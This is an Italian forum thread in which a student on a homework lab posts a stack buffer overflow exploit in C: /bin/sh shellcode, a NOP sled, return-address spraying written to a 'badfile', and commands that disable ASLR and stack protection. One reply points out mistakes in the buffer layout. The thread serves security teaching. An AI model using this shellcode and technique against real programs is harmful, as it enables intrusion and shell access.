Lo smantellamento dello stack continua a generare problemi di segmentazione

3

Ho un compito a casa per distruggere lo stack,

Il codice exploit crea un badfile in cui il file vulnerabile legge e si verifica un buffer overflow.

Ho già eseguito i 2 comandi seguenti per assicurarmi di poter completare l'attacco

sudo sysctl -w kernel.randomize_va_space = 0

gcc -o stack -fno-stack-protector stack.c (dove stack.c è il codice vulnerabile)

Ho disabilitato anche lo stack non eseguibile

Per l'exploit, ho lo shellcode, quindi quello che ho fatto è ottenere il puntatore dello stack quindi l'indirizzo di ritorno e inserirli in un buffer nel codice exploit. Il buffer è riempito con NOP alla metà del buffer, quindi il codice della shell. Il resto del buffer è riempito con gli indirizzi di ritorno.

quindi il mio codice è il seguente

  /* exploit.c
*/
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0"    /* xorl %eax,%eax*/
"\x50"          /* pushl %eax*/
"\x68""//sh"    /* pushl $0x68732f2f*/
"\x68""/bin"    /* pushl $0x6e69622f*/
"\x89\xe3"    /* movl %esp,%ebx*/
"\x50"        /* pushl %eax*/
"\x53"        /* pushl %ebx*/
"\x89\xe1"    /* movl %esp,%ecx*/
"\x99"        /* cdql*/
"\xb0\x0b"    /* movb $0x0b,%al*/
"\xcd\x80"    /* int $0x80*/
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
long *addr_ptr,retaddr;
char *ptr;
char *aptr;

unsigned long get_sp(void)
{    
    __asm__("movl %esp,%eax");
}

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

retaddr = get_sp() - atoi(argv[1]);
printf("Stack Pointer: 0x%lx\n", get_sp());
printf("Using address: 0x%lx\n", retaddr);

//int i;
memcpy(buffer+(sizeof(buffer)-1)/2,shellcode,strlen(shellcode));

int i;
for(i=0;i<(sizeof(buffer)-1)/2;i+=4)    
    *(long *)&buffer[i] = retaddr;

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
 }

Quindi per l'offset inserirò numeri casuali per provare l'offset, per ottenere l'indirizzo corretto. Tuttavia continuo ad avere errori di segmentazione dopo aver ripetuto un sacco di volte. Non ho idea di cosa stia accadendo. Chiunque può aiutarti?

    
posta edelweiss 07.10.2012 - 08:47
fonte

1 risposta

3

L'utilizzo della tua memcpy ha bisogno di una revisione: segui:

Il tuo post originale: memcpy(buffer+(sizeof(buffer)-1)/2,shellcode,strlen(shellcode));

Per i principianti, si usa buffer senza riferirsi ad esso come puntatore - e buffer in realtà, ci sono alcuni compilatori in grado di gestirlo, quindi non è necessariamente ciò che ti impedisce di sfruttare lo stack.

Ora, provi a misurare il buffer, diminuendolo di uno e poi tagliandolo a metà: ti dà 258 scostamenti. La tua slitta NOP ora assomiglia a qualcosa del tipo:

NOP, NOP, NOP X 517 --- 258 unspecified bytes -- shellcode

che non ha molto senso - perché lasciare quei byte non specificati all'interno della tua slitta NOP?

Infine, fai una iterazione su i che copre metà della tua Pista NOP con la tua ipotesi dell'indirizzo di ritorno.

Riesci a vedere i tuoi errori adesso?

    
risposta data 24.10.2012 - 01:22
fonte

Leggi altre domande sui tag